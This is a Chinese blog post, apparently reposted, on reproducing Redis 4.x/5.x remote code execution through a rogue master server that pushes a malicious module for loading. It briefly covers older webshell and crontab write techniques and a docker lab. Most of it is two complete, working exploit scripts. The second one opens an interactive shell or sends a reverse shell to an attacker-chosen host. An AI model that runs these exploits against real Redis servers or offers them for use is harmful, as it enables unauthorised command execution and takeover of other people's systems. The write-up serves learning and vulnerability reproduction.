Redis 4.x RCE 复现学习

攻击场景:

能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权

实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce

redis之前的攻击方法有

1.写shell

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD ''
SAVE

但是对于网站根目录而言,redis不一定据有写权限

2.root权限写crontab或者ssh文件

高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos

Redis 4.x RCE 复现学习_第1张图片

 攻击的整个流程为:

1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
2.在目标redis服务器上设置dbfilename
3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC  1\r\n$\r\n)
4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)

环境搭建:

docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine

 exp地址:

https://github.com/n0b0dyCN/redis-rogue-server

支持交互式shell和反弹shell

我们这里尝试写文件都是可以的:

 Redis 4.x RCE 复现学习_第2张图片

Redis 4.x RCE 复现学习_第3张图片

Redis 4.x RCE 复现学习_第4张图片

只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的

这里直接rce的exp:

源地址:

https://github.com/vulhub/redis-rogue-getshell

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b'*'):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b'$'):
            return data.split(DELIMITER, 2)[1]

        return data.strip().split()

    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(b'PING'):
                self.request.sendall(b'+PONG' + DELIMITER)
            elif arr[0].startswith(b'REPLCONF'):
                self.request.sendall(b'+OK' + DELIMITER)
            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break

        self.finish()

    def finish(self):
        self.request.close()


class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload


class RedisClient(object):
    def __init__(self, rhost, rport):
        self.client = socket.create_connection((rhost, rport), timeout=10)

    def send(self, data):
        data = self.encode(data)
        self.client.send(data)
        logging.info("send data: %r", data)
        return self.recv()

    def recv(self, count=65535):
        data = self.client.recv(count)
        logging.info("receive data: %r", data)
        return data

    def encode(self, data):
        if isinstance(data, bytes):
            data = data.split()

        args = [b'*', str(len(data)).encode()]
        for arg in data:
            args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

        args.append(DELIMITER)
        return b''.join(args)


def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
    with open(expfile, 'rb') as f: 
        server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据

    client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器

    lhost = lhost.encode() 
    lport = str(lport).encode()
    command = command.encode()

    if auth:
        client.send([b'AUTH', auth.encode()])

    client.send([b'SLAVEOF', lhost, lport])  #设置我们的攻击机为master
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
    time.sleep(2)

    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块
    client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘
    resp = client.send([b'system.exec', command]) #发送要执行的命令
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块


def main():
    parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
    parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    options = parser.parse_args()

    filename = options.file
    if not os.path.exists(filename):
        logging.info("Where you module? ")
        sys.exit(1)

    exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数


if __name__ == '__main__':
    main()

 这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:

#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig
"""

def encode_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd

def encode_cmd(raw_cmd):
    return encode_cmd_arr(raw_cmd.split(" "))

def decode_cmd(cmd):
    if cmd.startswith("*"):
        raw_arr = cmd.strip().split("\r\n")
        return raw_arr[2::2]
    if cmd.startswith("$"):
        return cmd.split("\r\n", 2)[1]
    return cmd.strip().split(" ")

def info(msg):
    print(f"\033[1;32;40m[info]\033[0m {msg}")

def error(msg):
    print(f"\033[1;31;40m[err ]\033[0m {msg}")

def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    print(data)
    return data.decode(errors='ignore')

def din(sock, cnt=65535):
    global verbose
    msg = sock.recv(cnt)
    if verbose:
        if len(msg) < 1000:
            print(f"\033[1;34;40m[->]\033[0m {msg}")
        else:
            print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
    if sys.version_info < (3, 0):
        res = re.sub(r'[^\x00-\x7f]', r'', msg)
    else:
        res = re.sub(b'[^\x00-\x7f]', b'', msg)
    print(decode_command_line(msg))
    return decode_command_line(msg)

def dout(sock, msg):
    global verbose
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if len(msg) < 1000:
            print(f"\033[1;33;40m[<-]\033[0m {msg}")
        else:
            print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")

def decode_shell_result(s):
    return "\n".join(s.split("\r\n")[1:-1])

class Remote:
    def __init__(self, rhost, rport):
        self._host = rhost
        self._port = rport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.connect((self._host, self._port))

    def send(self, msg):
        dout(self._sock, msg)

    def recv(self, cnt=65535):
        return din(self._sock, cnt)

    def do(self, cmd):
        self.send(encode_cmd(cmd))
        buf = self.recv()
        return buf

    def shell_cmd(self, cmd):
        self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
        buf = self.recv()
        return buf

class RogueServer:
    def __init__(self, lhost, lport):
        self._host = lhost
        self._port = lport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind(('0.0.0.0', self._port))
        self._sock.listen(10)

    def close(self):
        self._sock.close()

    def handle(self, data):
        cmd_arr = decode_cmd(data)
        resp = ""
        phase = 0
        if cmd_arr[0].startswith("PING"):
            resp = "+PONG" + CLRF
            phase = 1
        elif cmd_arr[0].startswith("REPLCONF"):
            resp = "+OK" + CLRF
            phase = 2
        elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
            resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase

    def exp(self):
        cli, addr = self._sock.accept()
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = self.handle(data)
            dout(cli, resp)
            if phase == 3:
                break

def interact(remote):
    info("Interact mode start, enter \"exit\" to quit.")
    try:
        while True:
            cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            for l in decode_shell_result(r).split("\n"):
                if l:
                    print("\033[1;34;40m[>>]\033[0m " + l)
    except KeyboardInterrupt:
        pass

def reverse(remote):
    info("Open reverse shell...")
    addr = input("Reverse server address: ")
    port = input("Reverse server port: ")
    dout(remote, encode_cmd(f"system.rev {addr} {port}"))
    info("Reverse shell payload sent.")
    info(f"Check at {addr}:{port}")

def cleanup(remote):
    info("Unload module...")
    remote.do("MODULE UNLOAD system")

def runserver(rhost, rport, lhost, lport):
    # expolit
    remote = Remote(rhost, rport)
    info("Setting master...")
    remote.do(f"SLAVEOF {lhost} {lport}")
    info("Setting dbfilename...")
    remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
    sleep(2)
    rogue = RogueServer(lhost, lport)
    rogue.exp()
    sleep(2)
    info("Loading module...")
    remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
    info("Temerory cleaning up...")
    remote.do("SLAVEOF NO ONE")
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
    rogue.close()

    # Operations here
    choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
    if choice.startswith("i"):
        interact(remote)
    elif choice.startswith("r"):
        reverse(remote)

    cleanup(remote)

if __name__ == '__main__':
    print(BANNER)
    parser = OptionParser()
    parser.add_option("--rhost", dest="rh", type="string",
            help="target host", metavar="REMOTE_HOST")
    parser.add_option("--rport", dest="rp", type="int",
            help="target redis port, default 6379", default=6379,
            metavar="REMOTE_PORT")
    parser.add_option("--lhost", dest="lh", type="string",
            help="rogue server ip", metavar="LOCAL_HOST")
    parser.add_option("--lport", dest="lp", type="int",
            help="rogue server listen port, default 21000", default=21000,
            metavar="LOCAL_PORT")
    parser.add_option("--exp", dest="exp", type="string",
            help="Redis Module to load, default exp.so", default="exp.so",
            metavar="EXP_FILE")
    parser.add_option("-v", "--verbose", action="store_true", default=False,
            help="Show full data stream")

    (options, args) = parser.parse_args()
    global verbose, payload, exp_mod
    verbose = options.verbose
    exp_mod = options.exp
    payload = open(exp_mod, "rb").read()

    if not options.rh or not options.lh:
        parser.error("Invalid arguments")

    info(f"TARGET {options.rh}:{options.rp}")
    info(f"SERVER {options.lh}:{options.lp}")
    try:
        runserver(options.rh, options.rp, options.lh, options.lp)
    except Exception as e:
        error(repr(e))

我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell

转载于:https://www.cnblogs.com/wfzWebSecuity/p/11256366.html

你可能感兴趣的:(Redis 4.x RCE 复现学习)